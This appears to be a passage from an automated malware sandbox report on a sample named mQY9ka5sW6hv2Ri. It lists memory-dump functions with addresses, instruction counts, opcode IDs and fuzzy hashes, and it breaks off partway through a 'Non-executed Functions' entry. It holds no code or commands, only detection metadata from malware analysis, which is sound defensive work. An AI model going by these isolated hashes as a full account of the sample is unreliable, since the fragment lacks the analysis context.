                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5cc1aedcfe31ca69eaf2ee886c05d0281b8fc60f8731f991aa6ba39f7cb189ca
                                          • Instruction ID: 0a2f74315fe3be67ab8ec1256d05fe40570470ae7279672047809ad9469e2bb7
                                          • Opcode Fuzzy Hash: 5cc1aedcfe31ca69eaf2ee886c05d0281b8fc60f8731f991aa6ba39f7cb189ca
                                          • Instruction Fuzzy Hash: 6D01A2B13046219FC715B65AD401A5EB39ADFC0225B10C86AD8098B358DB79EC4797A4
                                          Function 079258A1 Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a9b612f638e9e6ee404e964ee793c87c008a1526ee5b668cccf6c727c259c995
                                          • Instruction ID: 731a62b006ae91c1a4bad5ba746aed9b8533623a8502d0dfbf89462b3de7ba6d
                                          • Opcode Fuzzy Hash: a9b612f638e9e6ee404e964ee793c87c008a1526ee5b668cccf6c727c259c995
                                          • Instruction Fuzzy Hash: 8C01F171601714DFC725EF38C4505667BF5EF82304B51C5EED84A8B269EB30E846DB91
                                          Function 0792AEC9 Relevance: .0, Instructions: 45COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 89018b940dc757b7e79a0ffd974a9066b856874376c2d764a2e42bd608a52637
                                          • Instruction ID: 39f6c0f226c67c7fa33cde32a970335da224b104bf8153d503ca4c40f89367ff
                                          • Opcode Fuzzy Hash: 89018b940dc757b7e79a0ffd974a9066b856874376c2d764a2e42bd608a52637
                                          • Instruction Fuzzy Hash: D50149B13402118BC628A62CC445BFF379EDBC8614F40847EED1AC7358D9389C069360
                                          Function 07929B28 Relevance: .0, Instructions: 45COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b020ad88e4c274496c037e3ce854cf833a14a3c182a60bea7c45ae4e580393cd
                                          • Instruction ID: 7799fa77352ab0283aa626ca4b4ebbe751417fb6120a60cba283aa2dd89ebd3f
                                          • Opcode Fuzzy Hash: b020ad88e4c274496c037e3ce854cf833a14a3c182a60bea7c45ae4e580393cd
                                          • Instruction Fuzzy Hash: C4017CB0701215DFC718EB29D48896AB7EAEFC8314B14886DE41ACB764CF71EC06CB50
                                          Function 079258B0 Relevance: .0, Instructions: 44COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c792f56f37be6eb85fd78075cce1760c762e99597af2eb6478e1587f4df8fc59
                                          • Instruction ID: ae2c1da5055faf36403da978f41d389f697f2ae697ab40ec107eacbd0caa49e7
                                          • Opcode Fuzzy Hash: c792f56f37be6eb85fd78075cce1760c762e99597af2eb6478e1587f4df8fc59
                                          • Instruction Fuzzy Hash: 30018C71601719CFC729EF39C45055A77F6EF85304B50C9AED44A8B268EB31E982DB80
                                          Function 0792AF60 Relevance: .0, Instructions: 43COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e467c8f4ca73660617ff47b9a02a6570106b4f3df5ef376ab6506ca5f4157f3a
                                          • Instruction ID: 84afe6051abf8f0dc75e1bd2e18bed741fa7da7dac5f06e8744d5be4a6bd94aa
                                          • Opcode Fuzzy Hash: e467c8f4ca73660617ff47b9a02a6570106b4f3df5ef376ab6506ca5f4157f3a
                                          • Instruction Fuzzy Hash: 81F0ADB13046208FC719E66AD50196EB3AADFC0225B20C86AD8098B368DF79DC4787A5
                                          Function 07929E84 Relevance: .0, Instructions: 43COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 107698a94749e3708170d6f0ff090844263f51a0d27b5f5909c21713878439db
                                          • Instruction ID: 0419680b19e8b10463a208227cd5a3ed6013be8bf9403885298d05ef3807c580
                                          • Opcode Fuzzy Hash: 107698a94749e3708170d6f0ff090844263f51a0d27b5f5909c21713878439db
                                          • Instruction Fuzzy Hash: 96F0F4713902118BC628A62CC144BBF779EDFC9704F5088BEE91AC7768DE749C0697A0
                                          Function 07925C59 Relevance: .0, Instructions: 43COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bc1a162c1ebaa6a37f01c89822341f94f46545fb709b9f84fee5b9e8285bb8f7
                                          • Instruction ID: 04de4e68179be823123fbc261c0e8ac5f8d76aa417b3d35cf6bbd8e1312afabe
                                          • Opcode Fuzzy Hash: bc1a162c1ebaa6a37f01c89822341f94f46545fb709b9f84fee5b9e8285bb8f7
                                          • Instruction Fuzzy Hash: AA012671604755CBCB02BB74C8006EEBB75EFC2254F0A459ED8895B365EF30A846C7E2
                                          Function 07926060 Relevance: .0, Instructions: 43COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 978fe08a509a9ab9848c5dcb01b51dba29d5947b45d8ca03446963bc00c04523
                                          • Instruction ID: 548a00af6ca15c16eac00ad962cf1320e56f1ae70d9054896db18f791b2d6d57
                                          • Opcode Fuzzy Hash: 978fe08a509a9ab9848c5dcb01b51dba29d5947b45d8ca03446963bc00c04523
                                          • Instruction Fuzzy Hash: E7F0F6737807054FC7109A6EE88495BB7AAEBC42757444A39E50AC7761CE64EC4A87A0
                                          Function 07921207 Relevance: .0, Instructions: 42COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 99b17ee1a7916c93f6f97cd690e1e45ed1890f66e4da5525ffc0589cf7859a41
                                          • Instruction ID: 07c992d321d40fe0ed58a16a54ad0ced87cea49de444f924dcb146904ca5de29
                                          • Opcode Fuzzy Hash: 99b17ee1a7916c93f6f97cd690e1e45ed1890f66e4da5525ffc0589cf7859a41
                                          • Instruction Fuzzy Hash: 2D01C8343106104FC7559B6CC45497A7BEAAFDA70471941FBE10ACB375CE21DC078B60
                                          Function 07923F87 Relevance: .0, Instructions: 41COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6a7a2337b42b00cd219f4f82e18868303e77486aad7c5b8c774c239beaa62ab1
                                          • Instruction ID: 8d7d09585f4b78949819abb466c84bde27647dfc60b1b17ac9169131220f5630
                                          • Opcode Fuzzy Hash: 6a7a2337b42b00cd219f4f82e18868303e77486aad7c5b8c774c239beaa62ab1
                                          • Instruction Fuzzy Hash: B6F062B130063187DF19BB39A454ABD73BAAFCD518F054469E80587358DE29D843E395
                                          Function 07922BD4 Relevance: .0, Instructions: 40COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a64c540fab3ed4ef824239fdd2dfca505885c13af66872a4ed0a564272ffea68
                                          • Instruction ID: b6066e3b83e963c6756ed865dbf01af7af198d45706a2f6ae12de738f339dd05
                                          • Opcode Fuzzy Hash: a64c540fab3ed4ef824239fdd2dfca505885c13af66872a4ed0a564272ffea68
                                          • Instruction Fuzzy Hash: 6AF050703502728BC718BA2A8844A3F77FDAFC5748B050429E406C327CDF50DC83E692
                                          Function 07923358 Relevance: .0, Instructions: 40COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f834aa59077dc06f2d05c7a01b307521f87f0e7f9024bdf3db596772e7f7dd36
                                          • Instruction ID: 116031fda5d61c226f553ccd849bc188e2e3b2cef887ffcddf0126c5c076aa97
                                          • Opcode Fuzzy Hash: f834aa59077dc06f2d05c7a01b307521f87f0e7f9024bdf3db596772e7f7dd36
                                          • Instruction Fuzzy Hash: 7E010C349042499FCB41EFBCC54599DBFF4EF49210B1581ABE848EB222E7709A44CB92
                                          Function 07925CD9 Relevance: .0, Instructions: 39COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 80aac0f75b27e9dfde158094e4ba8d605360d6d4a252250889b796d2f1d6b4df
                                          • Instruction ID: eb893cdf6728cce554fd4a7ea37576ec4ea92cbefd40f639bc0ea79eabf0d80e
                                          • Opcode Fuzzy Hash: 80aac0f75b27e9dfde158094e4ba8d605360d6d4a252250889b796d2f1d6b4df
                                          • Instruction Fuzzy Hash: 80F0F6727007009FC314AB19E884B9BB7AAEB88725F110559E50AC7325DB30FC42C760
                                          Function 07924022 Relevance: .0, Instructions: 39COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 43363c23f1f4cbd90eb9c53d25eca547f90cc156888bd1558df664c80d43263f
                                          • Instruction ID: c6fb79a092fbb3f91ed321b2894ea5cb4af36c38d2800ba22e0ef39e9ce37a99
                                          • Opcode Fuzzy Hash: 43363c23f1f4cbd90eb9c53d25eca547f90cc156888bd1558df664c80d43263f
                                          • Instruction Fuzzy Hash: 2BF024B13402728BC7147A16C840B7E33BCAF85A59F090029E802C77B5DF29EC87E2A1
                                          Function 07925C68 Relevance: .0, Instructions: 37COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ef5fb2b39f3e4cf36235bea507c1c7158d464f56dec76a63e9e6559b49a4c79b
                                          • Instruction ID: 8f749fc0ab522797904a85819e655095dd475ca36a39f2c384e7ddcc18022397
                                          • Opcode Fuzzy Hash: ef5fb2b39f3e4cf36235bea507c1c7158d464f56dec76a63e9e6559b49a4c79b
                                          • Instruction Fuzzy Hash: 90F0C271A00715CBCB11BBB4C4005AEB775EFC1255F05456DD85917324EF30A98297D2
                                          Function 07923F98 Relevance: .0, Instructions: 36COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fb6ea1bc326dda499e1c727cf0390f364591e54888ef3af30359a1e21e225821
                                          • Instruction ID: a08ee5946fa5397f019e8929e363f15102d4c656f681c2fa5b64bf78ee103fea
                                          • Opcode Fuzzy Hash: fb6ea1bc326dda499e1c727cf0390f364591e54888ef3af30359a1e21e225821
                                          • Instruction Fuzzy Hash: 33F089B1300631879F1DBF39A01497D72BAAFCD5187154479E805C7398CE35D803E392
                                          Function 079260C8 Relevance: .0, Instructions: 35COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f1d950f078984e1e2f589c97da54531f67b35b9a672ee6d4b245f7f29b6e603e
                                          • Instruction ID: 035b4898e2ad4cba01760583d6c854bad9a55ed206efc4676bb7b037c2a65cd5
                                          • Opcode Fuzzy Hash: f1d950f078984e1e2f589c97da54531f67b35b9a672ee6d4b245f7f29b6e603e
                                          • Instruction Fuzzy Hash: 73F037312842508FC305DB28D888C567BF5EF0A71931684EAE849CF733CB66EC45CB50
                                          Function 07925CE8 Relevance: .0, Instructions: 34COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 228bd4a71537c6a580dcc3018a6842f7c89dc6171f39e538122e1977d8885d9a
                                          • Instruction ID: 786231e83fce422f7ecfc24c04b366b97b04df005a7b7d8d5f676cf046d75531
                                          • Opcode Fuzzy Hash: 228bd4a71537c6a580dcc3018a6842f7c89dc6171f39e538122e1977d8885d9a
                                          • Instruction Fuzzy Hash: 93F0BE31300710CFC724AB2AE48896AB7AAEFC9728B100569E50A87724DB71FC42CB90
                                          Function 07923368 Relevance: .0, Instructions: 33COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
                                          • Instruction ID: 4243ceffdd30f352615e2fe6667d750750fc4abca0ae9b7f9b7c733986b7bd1f
                                          • Opcode Fuzzy Hash: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
                                          • Instruction Fuzzy Hash: 0601B675D00609DFCB40EFACC54589DBBF4FF49210B1185AAE859EB321E770AA44CF91
                                          Function 0792DED4 Relevance: .0, Instructions: 32COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5fa8662aa619a862a8c30614f32dbc7e9307ef22d1d0f2bf3ce4b017a75bb8c2
                                          • Instruction ID: 5b115c05bcf8ea68159b57bfb88f5e274509fccc779ca3c817109a06f5b89a9d
                                          • Opcode Fuzzy Hash: 5fa8662aa619a862a8c30614f32dbc7e9307ef22d1d0f2bf3ce4b017a75bb8c2
                                          • Instruction Fuzzy Hash: 7CE06D36105A12C7C645EA2CA5403DBA3DAAFC7704F490FB2E801BFA28C8A0798583C0
                                          Function 07926B68 Relevance: .0, Instructions: 31COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ffd8173dcef2d58c8daed3bb6156cc06ee085de10942abd25a9cf81f70ea7b24
                                          • Instruction ID: 19058a33216ff06ab850a53a17566878ecca93a45855145fe460c982a8343063
                                          • Opcode Fuzzy Hash: ffd8173dcef2d58c8daed3bb6156cc06ee085de10942abd25a9cf81f70ea7b24
                                          • Instruction Fuzzy Hash: BEF0F0F190D6D49BDB1217789C652A03F30CE6335AF0C40CED486C6DA7EA558407E711
                                          Function 0792FF7A Relevance: .0, Instructions: 30COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b740916951887538ae379527675d896794026464080468eab1470f9ca72a2240
                                          • Instruction ID: cd6f7f9d9cfd7accab98d456ab9a6c23da6ec602dade6d650307ce969edb88de
                                          • Opcode Fuzzy Hash: b740916951887538ae379527675d896794026464080468eab1470f9ca72a2240
                                          • Instruction Fuzzy Hash: 93E01A37541A12D7C645EE2CA4407DBA3DAAFC7754F4D0BF2E801BFA28C5A4798583D0
                                          Function 079260D8 Relevance: .0, Instructions: 28COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c261acc7bf3f471c7c84a36d46e30fee437abd72033508f271bc1e3b48372e84
                                          • Instruction ID: 818ad654ff4feee4619cd79cbf3600ca9df4fca1f8f7cdf0b9d46dec4ed068d8
                                          • Opcode Fuzzy Hash: c261acc7bf3f471c7c84a36d46e30fee437abd72033508f271bc1e3b48372e84
                                          • Instruction Fuzzy Hash: 28F0DF30240610CFC718DB2CD588C59BBEAFF49B1971549A9E50ACB732CB72EC40CB80
                                          Function 07923F50 Relevance: .0, Instructions: 25COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8b74d2027991f26e6136d51088f5d5dd48a5201cd48c9c84bc30fe0ca306cb93
                                          • Instruction ID: cde782536125978d85fc5e69592b039bd98c5975eec35fcd36c60b2f71f89e79
                                          • Opcode Fuzzy Hash: 8b74d2027991f26e6136d51088f5d5dd48a5201cd48c9c84bc30fe0ca306cb93
                                          • Instruction Fuzzy Hash: 1EE08C71350710AFCB18DA1CEC80E8BB3EDDB88320B144669F809D7765DA68FD0A56A4
                                          Function 07920D54 Relevance: .0, Instructions: 23COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 89673a61611b1b7fd676fc930572edfbfe8504a11c3bdd11435b837a7e7b9e24
                                          • Instruction ID: 8d9803b6c288786a3395296860af52787aeff35df1d56dba361a81fe55d64213
                                          • Opcode Fuzzy Hash: 89673a61611b1b7fd676fc930572edfbfe8504a11c3bdd11435b837a7e7b9e24
                                          • Instruction Fuzzy Hash: D8E0CD303546149FC718DB1CEC40856F3E9DF893143208A79F105C3728DE50FC054684
                                          Function 07925D41 Relevance: .0, Instructions: 18COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b7b07facb43ecd303b19be61312a721dec2930132b47d1d277b8b6e55034bd2e
                                          • Instruction ID: ee291d5c15822cd66097672fe5cbf26ad97a25aa0db84614123d8238009e39bb
                                          • Opcode Fuzzy Hash: b7b07facb43ecd303b19be61312a721dec2930132b47d1d277b8b6e55034bd2e
                                          • Instruction Fuzzy Hash: 42D0A71371412017C714166CF8007AF46C6C7C5791F55847BE900C7385EE704D0287A0
                                          Function 07926B2F Relevance: .0, Instructions: 17COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 678b56488517451c123fd7f353e7084e14df75d6e6e059e701fa7e6ead1cbfaf
                                          • Instruction ID: 601a146ca67476ea6aa4ae1910d6056d6c300b36e0b3ebc643676dd0e0f12c2a
                                          • Opcode Fuzzy Hash: 678b56488517451c123fd7f353e7084e14df75d6e6e059e701fa7e6ead1cbfaf
                                          • Instruction Fuzzy Hash: 37D02B70609A848FDF0117349DB56B53F349F02346B0840ACD80EC3D42DB118407FA10
                                          Function 07926B40 Relevance: .0, Instructions: 16COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 689dad29a63c174638925c50af48ab58051428bfcb384a3b68d1ab2fedb352c2
                                          • Instruction ID: 795a4225d608d0f37dbfec90e774f66ac7c745bc620b94e9144fa038c329fd24
                                          • Opcode Fuzzy Hash: 689dad29a63c174638925c50af48ab58051428bfcb384a3b68d1ab2fedb352c2
                                          • Instruction Fuzzy Hash: 3BD0A97021920A8BCE042BA5A8982B6779CAF00309F040028F80EC2E40EA22E852A011

                                          Non-executed Functions

                                          Function 01066048 Relevance: 2.8, Strings: 2, Instructions: 298COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659389608.0000000001060000.00000040.00000800.00020000.00000000.sdmp, Offset: 01060000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_1060000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: PH^q$PH^q
                                          • API String ID: 0-1598597984
                                          • Opcode ID: a3190c4078b745c268c17e9292f83072b5c289db2abce6fc2f1a86f8d8ef1e22
                                          • Instruction ID: eea1c38887d4fcc87dcf3bdfc533ff853cf6f3756f9f06f0f41063765fc4fb0b
                                          • Opcode Fuzzy Hash: a3190c4078b745c268c17e9292f83072b5c289db2abce6fc2f1a86f8d8ef1e22
                                          • Instruction Fuzzy Hash: F3D1A434A00605CFDB44DF69C598AA9BBF5BF49701F2580A8E549EB371DB32AD40CB60
                                          Function 0792E780 Relevance: 2.1, Strings: 1, Instructions: 897COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: PH^q
                                          • API String ID: 0-2549759414
                                          • Opcode ID: 87e4a1c006dfba2034978a23b646b537f3be3e4c862acd8989fcad0efa9135a3
                                          • Instruction ID: f2d8daa8c04ab76978e3a5ef385e156bf878177a8f80572763de084478d0dc1b
                                          • Opcode Fuzzy Hash: 87e4a1c006dfba2034978a23b646b537f3be3e4c862acd8989fcad0efa9135a3
                                          • Instruction Fuzzy Hash: 00725CB0E0022ACFCB10EFA8C9886ADBBB2FF45304F1585A5D445AB259DB309D96DF51
                                          Function 0792B988 Relevance: .7, Instructions: 651COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 80d6332f70e3f5d7cb1e88fdce2c7955c002ffef8af85b824d4e26171b9c1308
                                          • Instruction ID: 812d31ee7a05ab2d884d15a4f542cac3bb9366cc4f51bee87ad141c6746a3bd9
                                          • Opcode Fuzzy Hash: 80d6332f70e3f5d7cb1e88fdce2c7955c002ffef8af85b824d4e26171b9c1308
                                          • Instruction Fuzzy Hash: 8A4227B4700610CFCB19AF78D45966A7BF6FF89309F20486ED547CB368EA369842DB50
                                          Function 0794D938 Relevance: .3, Instructions: 328COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664146622.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7940000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 961384e766788f8de18a00e69b0d78d87836f737ca5d527d96d228982aa63974
                                          • Instruction ID: 5ca7e6480ff7f7f4e4f15aab11bad25aa02b78aa58c025d029670cbe24170224
